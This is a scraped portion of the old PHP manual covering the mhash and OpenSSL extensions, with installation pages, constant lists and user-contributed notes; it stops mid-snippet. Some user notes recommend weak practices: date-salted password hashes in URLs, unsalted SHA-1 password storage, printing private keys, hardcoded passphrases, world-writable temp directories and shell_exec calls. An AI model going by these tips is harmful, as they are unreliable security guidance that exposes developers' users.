750c783e6ab0b503eaa86e310a5db738
750c783e6ab0b503eaa86e310a5db738

Happy hashing.
shimon_d at hotmail dot com 22-Aug-2002 12:05
password security:
when you hash passwords to save them in cookie , url ,etc' my sugsession is to hash them with date
becouse of evry body can view server log or any other loged info and reuse the hash

ie.: to re call a url eg. admin.php?user=root&passhash=5rft346tert
in this example the password keepped in secret but what stopping me to reuse the url

hash("secret") // bad security
hash("secret".date("Ymg")) // better security
// the hash good only for today
luc at 2113 dot ch 28-Dec-2001 05:42
Netscape messaging / directory server 4+ uses SHA-1
to store password in the ldap database (slapd).
The password is first SHA-1 hashed then base64 encoded:

$pwd = "secret";
$hash = "{SHA}".base64_encode( mHash(MHASH_SHA1, $pwd));
echo "Hash: ". $hash ;
paulj at 5emedia dot net 06-Dec-2001 10:02
Many digest algorithms (especially MD5) are less secure if you are hashing data that is smaller than the algorithm's output.  I recommend either hashing a secret key/salt with the original data to increase it's security.
02-May-2001 01:02
Using RedHat 7.1, after compile/install, I had to add the line

/usr/local/lib

to /etc/ld.so.conf and run ldconfig to make this work.
mhash_keygen_s2k
OpenSSL
Mhash Functions


OpenSSL

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Purpose checking flags
    • Padding flags for asymmetric encryption
    • Key types
    • PKCS7 Flags/Constants
    • Signature Algorithms
    • Ciphers
    • Version constants
    • Server Name Indication constants
  • Key/Certificate parameters
  • Certificate Verification
  • OpenSSL Functions
    • openssl_cipher_iv_length — Gets the cipher iv length
    • openssl_csr_export_to_file — Exports a CSR to a file
    • openssl_csr_export — Exports a CSR as a string
    • openssl_csr_get_public_key — Returns the public key of a CERT
    • openssl_csr_get_subject — Returns the subject of a CERT
    • openssl_csr_new — Generates a CSR
    • openssl_csr_sign — Sign a CSR with another certificate (or itself) and generate a certificate
    • openssl_decrypt — Decrypts data
    • openssl_dh_compute_key — Computes shared secret for public value of remote DH key and local DH key
    • openssl_digest — Computes a digest
    • openssl_encrypt — Encrypts data
    • openssl_error_string — Return openSSL error message
    • openssl_free_key — Free key resource
    • openssl_get_cipher_methods — Gets available cipher methods
    • openssl_get_md_methods — Gets available digest methods
    • openssl_get_privatekey — Alias of openssl_pkey_get_private
    • openssl_get_publickey — Alias of openssl_pkey_get_public
    • openssl_open — Open sealed data
    • openssl_pkcs12_export_to_file — Exports a PKCS#12 Compatible Certificate Store File
    • openssl_pkcs12_export — Exports a PKCS#12 Compatible Certificate Store File to variable.
    • openssl_pkcs12_read — Parse a PKCS#12 Certificate Store into an array
    • openssl_pkcs7_decrypt — Decrypts an S/MIME encrypted message
    • openssl_pkcs7_encrypt — Encrypt an S/MIME message
    • openssl_pkcs7_sign — Sign an S/MIME message
    • openssl_pkcs7_verify — Verifies the signature of an S/MIME signed message
    • openssl_pkey_export_to_file — Gets an exportable representation of a key into a file
    • openssl_pkey_export — Gets an exportable representation of a key into a string
    • openssl_pkey_free — Frees a private key
    • openssl_pkey_get_details — Returns an array with the key details
    • openssl_pkey_get_private — Get a private key
    • openssl_pkey_get_public — Extract public key from certificate and prepare it for use
    • openssl_pkey_new — Generates a new private key
    • openssl_private_decrypt — Decrypts data with private key
    • openssl_private_encrypt — Encrypts data with private key
    • openssl_public_decrypt — Decrypts data with public key
    • openssl_public_encrypt — Encrypts data with public key
    • openssl_random_pseudo_bytes — Generate a pseudo-random string of bytes
    • openssl_seal — Seal (encrypt) data
    • openssl_sign — Generate signature
    • openssl_verify — Verify signature
    • openssl_x509_check_private_key — Checks if a private key corresponds to a certificate
    • openssl_x509_checkpurpose — Verifies if a certificate can be used for a particular purpose
    • openssl_x509_export_to_file — Exports a certificate to file
    • openssl_x509_export — Exports a certificate as a string
    • openssl_x509_free — Free certificate resource
    • openssl_x509_parse — Parse an X509 certificate and return the information as an array
    • openssl_x509_read — Parse an X.509 certificate and return a resource identifier for it

User Contributed Notes

Anonymous 07-Oct-2009 05:28
OpenSSL creates asynchronous key pairs, however I wanted to have the private key something that was human-memorizable. With the standard keys generated, this is not possible. How I achieved it was to use two types of encryption.

After generating a key pair with OpenSSL, the public key can be stored in plain text format. I then encrypted the private key itself using regular mcrypt with the human-memorizable key of my choice and converted it to ACSII using base64_encode. Then to get the private key back, I just decrypted it with mcrypt. This way I could store the encrypted private key on the server without worrying about having things stored unencrypted.

Of course, this will only be as good as your human-memorizable key is and can potentially reduce the security of your script if you choose something simple or don't use salts.
bdh dot hall at gmail dot com 29-May-2009 03:18
I was having a heck of a time finding help on making asynchronous encryption/decryption using private key/public key systems working, and I had to have it for creating a credit card module that uses recurring billing.

You'd be a fool to use normal, 'synchronous' or two-way encryption for this, so the whole mcrypt library won't help.

But, it turns out OpenSSL is extremely easy to use...yet it is so sparsely documented that it seems it would be incredibly hard.

So I share my day of hacking with you - I hope you find it helpful!

<?php

if (isset($_SERVER['HTTPS']) )
{
    echo "SECURE: This page is being accessed through a secure connection.<br><br>";
}
else
{
    echo "UNSECURE: This page is being access through an unsecure connection.<br><br>";
}

// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privatekey);

// Get public key
$publickey=openssl_pkey_get_details($res);
$publickey=$publickey["key"];

echo "Private Key:<BR>$privatekey<br><br>Public Key:<BR>$publickey<BR><BR>";

$cleartext = '1234 5678 9012 3456';

echo "Clear text:<br>$cleartext<BR><BR>";

openssl_public_encrypt($cleartext, $crypttext, $publickey);

echo "Crypt text:<br>$crypttext<BR><BR>";

openssl_private_decrypt($crypttext, $decrypted, $privatekey);

echo "Decrypted text:<BR>$decrypted<br><br>";
?>

Many thanks to other contributors in the docs for making this less painful.

Note that you will want to use these sorts of functions to generate a key ONCE - save your privatekey offline for decryption, and put your public key in your scripts/configuration file. If your data is compromised you don't care about the encrypted stuff or the public key, it's only the private key and cleartext that really matter.

Good luck!
koen dot thomeer at pubmed dot be 31-Aug-2008 10:27
For checking the status of a client certificate using OCSP, you can use this script:

<?php
// User variables:
$dir = '/path/to/temp/'; // Directory where apache has access to (chmod 777).
$RootCA = '/path/to/Root.cer'; // Points to the Root CA in PEM format.
$OCSPUrl = 'http://ocsp.url'; //Points to the OCSP URL
// Script:
$a = rand(1000,99999); // Needed if you expect more page clicks in one second!
file_put_contents($dir.$a.'cert_i.pem', $_SERVER['SSL_CLIENT_CERT_CHAIN_0']); // Issuer certificate.
file_put_contents($dir.$a.'cert_c.pem', $_SERVER['SSL_CLIENT_CERT']); // Client (authentication) certificate.
$output = shell_exec('openssl ocsp -CAfile '.$RootCA.' -issuer '.$dir.$a.'cert_i.pem -cert '.$dir.$a.'cert_c.pem -url '.$OCSPUrl);
$output2 = preg_split('/[\r\n]/', $output);
$output3 = preg_split('/: /', $output2[0]);
$ocsp = $output3[1];
echo "OCSP status: ".$ocsp; // will be "good", "revoked", or "unknown"
unlink($dir.$a.'cert_i.pem');
unlink($dir.$a.'cert_c.pem');
?>

It can be ameliorated, but it's just a beginning!

Normally, you can extract the ocsp url from the client certificate. Also, an OCSP request contains only the hash of the issuer name, the hash of the issuer's key, and the serial number of the client certificate. All three can be extracted directly from the client certificate.
mhash
Introduction
Cryptography Extensions


Introduction

This module uses the functions of » OpenSSL for generation and verification of signatures and for sealing (encrypting) and opening (decrypting) data. OpenSSL offers many features that this module currently doesn't support. Some of these may be added in the future.

User Contributed Notes

There are no user contributed notes for this page.
OpenSSL
Installing/Configuring
OpenSSL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
OpenSSL


Requirements

In order to use the OpenSSL functions you need to install the » OpenSSL package. PHP between versions 4.0.5 and 4.3.1 will work with OpenSSL >= 0.9.5. Other versions (PHP <=4.0.4 and >= 4.3.2) require OpenSSL >= 0.9.6.

Warning

You are strongly encouraged to use the most recent OpenSSL version, otherwise your web server could be vulnerable to attack.

User Contributed Notes

poo flanders 27-May-2009 04:57
for windows it might be better to just get the setup at http://gnuwin32.sourceforge.net/packages/openssl.htm

instead of the sources and try to compile 'em yourself ^_~
Installing/Configuring
Installation
Installing/Configuring


Installation

To use PHP's OpenSSL support you must also compile PHP --with-openssl[=DIR] .

The OpenSSL library also has additional requirements for normal operation at run-time. Most notably, OpenSSL requires access to a random or pseudo-random number generator; on most Unix and Unix-like platforms (including Linux), this means that it must have access to a /dev/urandom or /dev/random device.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: libeay32.dll

Additionally, if you are planning to use the key generation and certificate signing functions, you will need to install a valid openssl.cnf file on your system. As of PHP 4.3.0, we include a sample configuration file in our win32 binary distributions. PHP 4.3.x and 4.4.x has the file in the openssl directory. PHP 5.x and 6.x has the file in the extras/openssl directory. If you are either using PHP 4.2.x or missing the file, you can obtain it from » the OpenSSL binaries page or by downloading a recent PHP release. Be aware that Windows Explorer hides the .cnf extension by default and says the file Type is SpeedDial.

PHP will search for the openssl.cnf using the following logic:

  • the OPENSSL_CONF environmental variable, if set, will be used as the path (including filename) of the configuration file.
  • the SSLEAY_CONF environmental variable, if set, will be used as the path (including filename) of the configuration file.
  • The file openssl.cnf will be assumed to be found in the default certificate area, as configured at the time that the openssl DLL was compiled. This is usually means that the default filename is c:\usr\local\ssl\openssl.cnf.

In your installation, you need to decide whether to install the configuration file at c:\usr\local\ssl\openssl.cnf or whether to install it someplace else and use environmental variables (possibly on a per-virtual-host basis) to locate the configuration file. Note that it is possible to override the default path from the script using the configargs of the functions that require a configuration file.

User Contributed Notes

Alan 11-Oct-2011 11:14
Having recently installed Apache2.2 with PHP 5.2.17 on my Windows 7 development machine, I want to pass along my findings about how to set things up to load the correct versions of the OpenSSL DLLs. Many people have posted elsewhere about the "DLL Hell" that results if the a wrong version is loaded.

First, install Apache 2.2 and check its operation, then download the Windows binaries for PHP from http://windows.php.net/download/. Note that according to the sidebar on that page the recommended version of PHP for use with Apache2 is currently 5.2.17, even though it is back level. Plus, this version comes with all the DLLs you need to use OpenSSL -- no need to recompile as the old PHP man page suggests.

Having verified the PHP installation, turn on the OpenSSL support by uncommenting the line

extension=php_openssl.dll

in php.ini, which you will find in the PHP directory (I'll assume you made that c:/PHP). Next check the location of php_openssl.dll, which you should find in c:/PHP/ext. Also in php.ini find the key extension_dir, and change its value to c:/php/ext. Next, put this location on the end of your PATH (there's no need to reboot).

At this point, when you start Apache it will attempt to load php_openssl.dll, but if your setup is anything like mine you will see an error. I prefer to start Apache manually, and the error appears in a dialog box: "The ordinal 4114 could not be located in the dynamic link library LIBEAY32.dll". (I'm not sure whether you would get this message if you started Apache as a service). The Apache log also contains an error message saying that php_openssl.dll cannot be loaded, though that message doesn't name libeay32.dll. Welcome to DLL Hell.

Libeay32.dll enters the picture because php_openssl.dll depends on it (and also on ssleay32.dll). What I think happens is that Apache first tries to load php_openssl.dll programmatically from the path specified by the extension_dir key. But then, the loading of the so-called dependent DLLs is left to Windows' default mechanism. If Windows finds an incompatible version of a dependent DLL, you get the error.

So clearly the fix is to ensure that the correct version of libeay32.dll is loaded. On my machine, at least three other processes have loaded various versions of this same DLL. They include the Mozy backup client, Windows Explorer (because Mozy installs support in Explorer) and the OpenOffice suite. My machine is quite different in this respect from a dedicated server on which one probably wants as few extraneous processes as possible.  Presumably on a server one can follow advice that suggests copying the dlls to the system32 directory, for example. But I'm not about to mess with my other programs by making system-wide changes.

So what to do? I didn't find the available information on how Windows searches for DLLs to be very useful, mainly because I didn't understand it. But it does say that the first place Windows looks is "The directory from which the application loaded."

To cut to the chase, after a lot of experimentation I came to a key realization -- "the application" is APACHE, not PHP. So I copied libeay32.dll to the Apache2.2/bin directory. Problem solved. No error messages and running phpinfo confirms that OpenSSL is present and enabled.

Good luck, and stay out of DLL Hell.
Fernando rubio 05-Jun-2011 11:20
OpenSSL and IIS

Open php.ini
uncomment the following:
extension=php_openssl.dll

Make sure you have config the following section pointing to your php install directory (in my case is located in a second partition at e:\php) (very recommended practice)

; Directory in which the loadable extensions (modules) reside.
extension_dir = "e:/php/ext"

Add your php directory to the PATH variable

start>run>type cmd
on windows console type:
set PATH=%PATH%;e:\php
(remember replace e:\php with YOUR directory)
(note that using %path% is the same as var+=value, so the directory will be appended at the end of the variable)

php5 come with all the dll in the zip package so if you add the php directory to the path variable, you don't need to move anything to your windows system directory (very safe for later updates, because you just replace the content of your php directory)

After all these step you ready.. but of course you need to restart your IIS to apply changes, so

start>run>inetsrv/iis.msc
right click on your computer
all task>restart IIS

done!
Kathryn Sharron at CSUN 19-Feb-2009 02:40
I followed all of the instructions above to install on Windows and *still* couldn't get "OpenSSL support     enabled" from phpinfo(). The answer turned out to be in my php.ini file:

; Directory in which the loadable extensions (modules) reside.
extension_dir = "./"

I found php_openssl.dll in my /ext directory. I copied it up to the same directory as php.ini, but I expect that editing the extension_dir value would work too.
mtudor AT icefusion remove me DOT co uk 24-Oct-2008 04:52
SYMPTOMS AND SETUP
------------------

For anyone having problems enabling the PHP openssl extension on WINDOWS.

I uncommented:  extension=php_openssl.dll  and installed the latest versions of ssleay.dll and libeay.dll in <windows>\system32.

When I restarted my web server and examined phpinfo(), there was no "openssl" headed section (although there were references to openssl in other sections).

I also found this error in my web server logs (<apache dir>/logs/ssl.log and <apache dir>/logs/access.log).

PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\Program Files\\PHP\\ext\\php_openssl.dll' - The operating system cannot run %1.\r\n in Unknown on line 0

I have PHP 5.2.6 running on Apache 2.2.3 for Windows.

CAUSE
-----

This was caused by PHP picking up the WRONG VERSIONS of libeay.dll and ssleay.dll, which were present in multiple locations on my computer.

When any application attempts to use a dll file in windows, the system searches for this file using the following order:
   1. The directory from which the application loaded.
   2. The windows\system32 directory.
   3. The windows\system directory.
   4. The windows directory.
   5. The current directory.
   6. The directories that are listed in the PATH environment variable.

   (http://msdn.microsoft.com/en-us/library/ms682586.aspx)

For PHP running under Apache, the application directory is <apache dir>\bin and NOT <php dir>.  PHP was finding OUT OF DATE versions of libeay.dll and ssleay.dll in <apache dir>\bin (probably installed when I enabled SSL support in my web server).  Because of this, the latest versions in windows\system32 were never reached.

NOTE: Although my problem was caused by an Apache2 specific configuration, I can imagine others might face this problem if, say, they install the openssl dlls in the PHP directory and add this directory to the PATH.  I haven't checked it but I would imagine if another directory in the path contains outdated openssl dlls and this is listed before the PHP directory, a similar situation would occur.

SOLUTION
--------

Either replace the dlls in the first location on the search order, or, as I did, you can install the latest openssl dlls in the the windows system32 directory and just rename to .old the ssleay.dll and libeay.dll files in the search order locations before windows\system32.

Hope that helps others who might be stuck with this.

Mark.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

Table of Contents

  • Purpose checking flags
  • Padding flags for asymmetric encryption
  • Key types
  • PKCS7 Flags/Constants
  • Signature Algorithms
  • Ciphers
  • Version constants
  • Server Name Indication constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Purpose checking flags
OpenSSL


Purpose checking flags

X509_PURPOSE_SSL_CLIENT (integer)
X509_PURPOSE_SSL_SERVER (integer)
X509_PURPOSE_NS_SSL_SERVER (integer)
X509_PURPOSE_SMIME_SIGN (integer)
X509_PURPOSE_SMIME_ENCRYPT (integer)
X509_PURPOSE_CRL_SIGN (integer)
X509_PURPOSE_ANY (integer)

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Padding flags for asymmetric encryption
Predefined Constants


Padding flags for asymmetric encryption

OPENSSL_PKCS1_PADDING (integer)
OPENSSL_SSLV23_PADDING (integer)
OPENSSL_NO_PADDING (integer)
OPENSSL_PKCS1_OAEP_PADDING (integer)

User Contributed Notes

There are no user contributed notes for this page.
Purpose checking flags
Key types
Predefined Constants


Key types

OPENSSL_KEYTYPE_RSA (integer)
OPENSSL_KEYTYPE_DSA (integer)
OPENSSL_KEYTYPE_DH (integer)

User Contributed Notes

There are no user contributed notes for this page.
Padding flags for asymmetric encryption
PKCS7 Flags/Constants
Predefined Constants


PKCS7 Flags/Constants

The S/MIME functions make use of flags which are specified using a bitfield which can include one or more of the following values:

PKCS7 CONSTANTS
Constant | Description
PKCS7_TEXT | Adds text/plain content type headers to encrypted/signed message. If decrypting or verifying, it strips those headers from the output - if the decrypted or verified message is not of MIME type text/plain then an error will occur.
PKCS7_BINARY | Normally the input message is converted to "canonical" format which is effectively using CR and LF as end of line: as required by the S/MIME specification. When this option is present, no translation occurs. This is useful when handling binary data which may not be in MIME format.
PKCS7_NOINTERN | When verifying a message, certificates (if any) included in the message are normally searched for the signing certificate. With this option only the certificates specified in the extracerts parameter of openssl_pkcs7_verify() are used. The supplied certificates can still be used as untrusted CAs however.
PKCS7_NOVERIFY | Do not verify the signers certificate of a signed message.
PKCS7_NOCHAIN | Do not chain verification of signers certificates: that is don't use the certificates in the signed message as untrusted CAs.
PKCS7_NOCERTS | When signing a message the signer's certificate is normally included - with this option it is excluded. This will reduce the size of the signed message but the verifier must have a copy of the signers certificate available locally (passed using the extracerts to openssl_pkcs7_verify() for example).
PKCS7_NOATTR | Normally when a message is signed, a set of attributes are included which include the signing time and the supported symmetric algorithms. With this option they are not included.
PKCS7_DETACHED | When signing a message, use cleartext signing with the MIME type "multipart/signed". This is the default if you do not specify any flags to openssl_pkcs7_sign(). If you turn this option off, the message will be signed using opaque signing, which is more resistant to translation by mail relays but cannot be read by mail agents that do not support S/MIME.
PKCS7_NOSIGS | Don't try and verify the signatures on a message

Note:

These constants were added in 4.0.6.

User Contributed Notes

There are no user contributed notes for this page.
Key types
Signature Algorithms
Predefined Constants


Signature Algorithms

OPENSSL_ALGO_DSS1 (integer)
OPENSSL_ALGO_SHA1 (integer)
Used as default algorithm by openssl_sign() and openssl_verify().
OPENSSL_ALGO_MD5 (integer)
OPENSSL_ALGO_MD4 (integer)
OPENSSL_ALGO_MD2 (integer)

Note:

These constants were added in 5.0.0.

User Contributed Notes

Harry Jordan 08-Aug-2009 06:36
OPENSSL_ALGO_DSS1 is the algorithm to use when dealing with DSA keys
PKCS7 Flags/Constants
Ciphers
Predefined Constants


Ciphers

OPENSSL_CIPHER_RC2_40 (integer)
OPENSSL_CIPHER_RC2_128 (integer)
OPENSSL_CIPHER_RC2_64 (integer)
OPENSSL_CIPHER_DES (integer)
OPENSSL_CIPHER_3DES (integer)

Note:

These constants were added in 4.3.0.

OPENSSL_CIPHER_AES_128_CBC (integer)
OPENSSL_CIPHER_AES_192_CBC (integer)
OPENSSL_CIPHER_AES_256_CBC (integer)

Note:

These constants were added in 5.4.0.

User Contributed Notes

There are no user contributed notes for this page.
Signature Algorithms
Version constants
Predefined Constants


Version constants

OPENSSL_VERSION_TEXT (string)
OPENSSL_VERSION_NUMBER (integer)

Note:

These constants were added in 5.2.0.

User Contributed Notes

There are no user contributed notes for this page.
Ciphers
Server Name Indication constants
Predefined Constants


Server Name Indication constants

OPENSSL_TLSEXT_SERVER_NAME (string)
Whether SNI support is available or not.

Note:

This constant were added in 5.3.2 and requires PHP to be built with OpenSSL 0.9.8j or greater.

User Contributed Notes

There are no user contributed notes for this page.
Version constants
Key/Certificate parameters
Predefined Constants


Key/Certificate parameters

Quite a few of the openssl functions require a key or a certificate parameter. PHP 4.0.5 and earlier have to use a key or certificate resource returned by one of the openssl_get_xxx() functions. Later versions may use one of the following methods:

  • Certificates

    1. An X.509 resource returned from openssl_x509_read()
    2. A string having the format file://path/to/cert.pem; the named file must contain a PEM encoded certificate
    3. A string containing the content of a certificate, PEM encoded

  • Public/Private Keys

    1. A key resource returned from openssl_get_publickey() or openssl_get_privatekey()
    2. For public keys only: an X.509 resource
    3. A string having the format file://path/to/file.pem - the named file must contain a PEM encoded certificate/private key (it may contain both)
    4. A string containing the content of a certificate/key, PEM encoded
    5. For private keys, you may also use the syntax array($key, $passphrase) where $key represents a key specified using the file:// or textual content notation above, and $passphrase represents a string containing the passphrase for that private key

User Contributed Notes

There are no user contributed notes for this page.
Server Name Indication constants
Certificate Verification
OpenSSL


Certificate Verification

When calling a function that will verify a signature/certificate, the cainfo parameter is an array containing file and directory names that specify the locations of trusted CA files. If a directory is specified, then it must be a correctly formed hashed directory as the openssl command would use.

User Contributed Notes

There are no user contributed notes for this page.
Key/Certificate parameters
OpenSSL Functions
OpenSSL


OpenSSL Functions

Table of Contents

  • openssl_cipher_iv_length — Gets the cipher iv length
  • openssl_csr_export_to_file — Exports a CSR to a file
  • openssl_csr_export — Exports a CSR as a string
  • openssl_csr_get_public_key — Returns the public key of a CERT
  • openssl_csr_get_subject — Returns the subject of a CERT
  • openssl_csr_new — Generates a CSR
  • openssl_csr_sign — Sign a CSR with another certificate (or itself) and generate a certificate
  • openssl_decrypt — Decrypts data
  • openssl_dh_compute_key — Computes shared secret for public value of remote DH key and local DH key
  • openssl_digest — Computes a digest
  • openssl_encrypt — Encrypts data
  • openssl_error_string — Return openSSL error message
  • openssl_free_key — Free key resource
  • openssl_get_cipher_methods — Gets available cipher methods
  • openssl_get_md_methods — Gets available digest methods
  • openssl_get_privatekey — Alias of openssl_pkey_get_private
  • openssl_get_publickey — Alias of openssl_pkey_get_public
  • openssl_open — Open sealed data
  • openssl_pkcs12_export_to_file — Exports a PKCS#12 Compatible Certificate Store File
  • openssl_pkcs12_export — Exports a PKCS#12 Compatible Certificate Store File to variable.
  • openssl_pkcs12_read — Parse a PKCS#12 Certificate Store into an array
  • openssl_pkcs7_decrypt — Decrypts an S/MIME encrypted message
  • openssl_pkcs7_encrypt — Encrypt an S/MIME message
  • openssl_pkcs7_sign — Sign an S/MIME message
  • openssl_pkcs7_verify — Verifies the signature of an S/MIME signed message
  • openssl_pkey_export_to_file — Gets an exportable representation of a key into a file
  • openssl_pkey_export — Gets an exportable representation of a key into a string
  • openssl_pkey_free — Frees a private key
  • openssl_pkey_get_details — Returns an array with the key details
  • openssl_pkey_get_private — Get a private key
  • openssl_pkey_get_public — Extract public key from certificate and prepare it for use
  • openssl_pkey_new — Generates a new private key
  • openssl_private_decrypt — Decrypts data with private key
  • openssl_private_encrypt — Encrypts data with private key
  • openssl_public_decrypt — Decrypts data with public key
  • openssl_public_encrypt — Encrypts data with public key
  • openssl_random_pseudo_bytes — Generate a pseudo-random string of bytes
  • openssl_seal — Seal (encrypt) data
  • openssl_sign — Generate signature
  • openssl_verify — Verify signature
  • openssl_x509_check_private_key — Checks if a private key corresponds to a certificate
  • openssl_x509_checkpurpose — Verifies if a certificate can be used for a particular purpose
  • openssl_x509_export_to_file — Exports a certificate to file
  • openssl_x509_export — Exports a certificate as a string
  • openssl_x509_free — Free certificate resource
  • openssl_x509_parse — Parse an X509 certificate and return the information as an array
  • openssl_x509_read — Parse an X.509 certificate and return a resource identifier for it

User Contributed Notes

rahuul at yours dot com 23-Mar-2010 11:43
for changing serial no of cert following is the solution:

<?php
$sscert = openssl_csr_sign($csr, $cacert, $privkey, $days,$config,$serial);
?>
web at mburda dot com 18-Jun-2008 09:45
There is a little problem with Matt Alexander's code below.
Both public and private key are generated internally and saved into OpenSSL class object properties but only private key is then used.
Public key is taken from an external file and if it differs from the one stored internally, OpenSSL fails to decrypt the text.
stephen_at_liberty-irm_dot_com 09-Mar-2008 03:14
This note is primarily aimed at folks storing encrypted things in MySQL as I'm unfamiliar with other database setups. If you store, for example, a credit card number that has been encrypted by openssl_public_encrypt inside of a database, the column type for the column you are storing the number in must be a blob. This is because "the result might contain arbitrary byte values" (MySQL Reference Manual). Basically, if you try to store it in a VARCHAR, LONGTEXT, etc, certain parts of the encrypted data may be dropped, truncated, etc. This will of course make the data impossible to decrypt. Hopefully this will help someone, because it had me stumped for about an hour!
jts 27-Nov-2007 02:07
Win32 users having trouble getting php_openssl to work should make sure that they replace ALL the versions of libeay32.dll and ssleay32.dll, with the ones included with PHP.  This is especially true while using Apache2 and OpenSSL together, as some OpenSSL win32 packages include older versions of these two files.
daevid at daevid dot com 19-Nov-2007 06:04
There doesn't seem to be a function here to test if a cert is valid (i.e. not corrupt)... This bash snippet should help. Sorry it's not PHP. slap it in a system(); call or make it a bash script and call it that way or something...

if [ "`openssl x509 -in /etc/certs/my.crt -noout -modulus`" = "`openssl rsa -in /etc/keys/my.key -noout -modulus`" ]; then echo "Match"; else echo "Different"; fi
kurian at net4ideas dot com 29-Oct-2007 08:01
For working of openssl in windows platform IIS webserver, we need to enable in php.ini, tne copy libeay32.dll and ssleay32.dll to the php folder (or windows's system32 folder) and add both dll's path to the window's PATH variable. It seems to be working for me after I did these changes.
mattalexx at gmail dot com 29-Aug-2007 02:16
Use this for simple public/private key encryption.

<?php

/**
 * Point to your config file
 *
 */
define("OPEN_SSL_CONF_PATH", "/usr/share/ssl/openssl.cnf");
/**
 * Length of time certificate is valid (in days)
 *
 */
define("OPEN_SSL_CERT_DAYS_VALID", 365);
/**
 * Passphrase required with private key
 *
 */
define("OPEN_SSL_PASSPHRASE", "lkdfjbjeyrasdfvkajwdeblsolkdkdjfbvzslalsmdbfvksb");
/**
 * Enter description here...
 *
 */
define("OPEN_SSL_PUBKEY_PATH", "/docs/domains/mywebsite.com/docs/key.pem"); // Public key path

/**
 * A wrapper class for a simple subset of the PHP OpenSSL functions. Use for public key encryption jobs.
 *
 * <code>
 *
 * // To configure
 * // 1. Set OPEN_SSL_CONF_PATH to the path of your openssl.cnf file.
 * // 2. Set OPEN_SSL_PASSPHRASE to any passphrase.
 * // 3. Use the OpenSSL::do_csr method to generate your private and public keys (see next section).
 * // 4. Save the private key somewhere offline and save your public key somewhere on this machine.
 * // 5. Set OPEN_SSL_PUBKEY_PATH to the public key's path.
 *
 * // To generate keys
 * $ossl = new OpenSSL;
 * $ossl->do_csr();
 * $privatekey = $ossl->privatekey;
 * $publickey = $ossl->publickey;
 * unset($ossl);
 *
 * // Encrypt
 * $text = "Secret text";
 * $ossl = new OpenSSL;
 * $ossl->encrypt($text);
 * $encrypted_text = $ossl->crypttext;
 * $ekey = $ossl->ekey;
 * unset($ossl);
 *
 * // Decrypt
 * $ossl = new OpenSSL;
 * $decrypted_text = $ossl->decrypt($encrypted_text, $privatekey, $ekey);
 * unset($ossl);
 *
 * @author Matt Alexander (mattalexx@gmail.com) [based on code by Alex Poole (php@wwwcrm.com)]
 * @copyright 2007
 *
 */
class OpenSSL {

   public $privatekey;
   public $publickey;
   public $csr;
   public $crypttext;
   public $ekey;

   public function encrypt($plain) {

      // Turn public key into resource
      $publickey = openssl_get_publickey(is_file(OPEN_SSL_PUBKEY_PATH)? file_get_contents(OPEN_SSL_PUBKEY_PATH) : OPEN_SSL_PUBKEY_PATH);

      // Encrypt
      openssl_seal($plain, $crypttext, $ekey, array($publickey));
      openssl_free_key($publickey);

      // Set values
      $this->crypttext = $crypttext;
      $this->ekey = $ekey[0];
   }

   public function decrypt($crypt, $privatekey, $ekey="") {

      // Turn private key into resource
      $privatekey = openssl_get_privatekey((is_file($privatekey)? file_get_contents($privatekey) : $privatekey), OPEN_SSL_PASSPHRASE);

      // Decrypt
      openssl_open($crypt, $plaintext, $ekey, $privatekey);
      openssl_free_key($privatekey);

      // Return value
      return $plaintext;
   }

   public function do_csr(
   $countryName = "UK",
   $stateOrProvinceName = "London",
   $localityName = "Blah",
   $organizationName = "Blah1",
   $organizationalUnitName = "Blah2",
   $commonName = "Joe Bloggs",
   $emailAddress = "openssl@domain.com"
   ) {
      $dn = array(
         "countryName" => $countryName,
         "stateOrProvinceName" => $stateOrProvinceName,
         "localityName" => $localityName,
         "organizationName" => $organizationName,
         "organizationalUnitName" => $organizationalUnitName,
         "commonName" => $commonName,
         "emailAddress" => $emailAddress
         );
      $config = array(
         "config" => OPEN_SSL_CONF_PATH
         );
      $privkey = openssl_pkey_new();
      $csr = openssl_csr_new($dn, $privkey, $config);
      $sscert = openssl_csr_sign($csr, null, $privkey, OPEN_SSL_CERT_DAYS_VALID, $config);
      openssl_x509_export($sscert, $this->publickey);
      openssl_pkey_export($privkey, $this->privatekey, OPEN_SSL_PASSPHRASE, $config);
      openssl_csr_export($csr, $this->csr);
   }

}

?>
ChronoFish 16-Aug-2007 11:17
There is a note below regarding the need to copy BOTH ssleay32.dll AND libeay32.dll to a folder in the system PATH on Win32 systems.

That is absolutely true.  It should be noted also that Windows will search the Windows system directories before it will search the PATH.  If you have existing .dlls in these directories - rename (rather than deleting in case you need to undo your changes) them and copy over the latest version of these files.

Key locations may include the /i386, /windows/system32, and ~/apache/.../modules directories.

I also updated my ~/subversion/bin directory.

-CF
igor dot gorshkov at gmail dot com 27-Apr-2007 05:31
I generate certificates in such a way.

$config = array("config" => "d:/sslcert/openssl.cnf");
$dn = array(
   "countryName" => "RU",
   "stateOrProvinceName" => "Russia",
   "localityName" => "Saint-Petersburg",
   "organizationName" => "temp",
   "organizationalUnitName" => "temp",
   "commonName" => "temp",
   "emailAddress" => "temp@temp.com"
);
$privkey_enc = openssl_pkey_new($config);
$csr = openssl_csr_new($dn, $privkey_enc, $config);
$sscert = openssl_csr_sign($csr, null, $privkey_enc, 365);
openssl_x509_export_to_file($sscert, "d:/cert_enc.crt");
openssl_pkey_export_to_file($privkey_enc, "d:/privkey_enc.pem");

As a result all the received certificates have identical serial number (00). But it should not be! How to avoid it?
dan -AT- NOSPAM danschafer DOT netTT 28-Mar-2007 10:58
Currently, all OpenSSL Functions defined in PHP only utilize the PEM format.  Use the following code to convert from DER to PEM and PEM to DER.

<?php
$pem_data = file_get_contents($cert_path.$pem_file);
$pem2der = pem2der($pem_data);

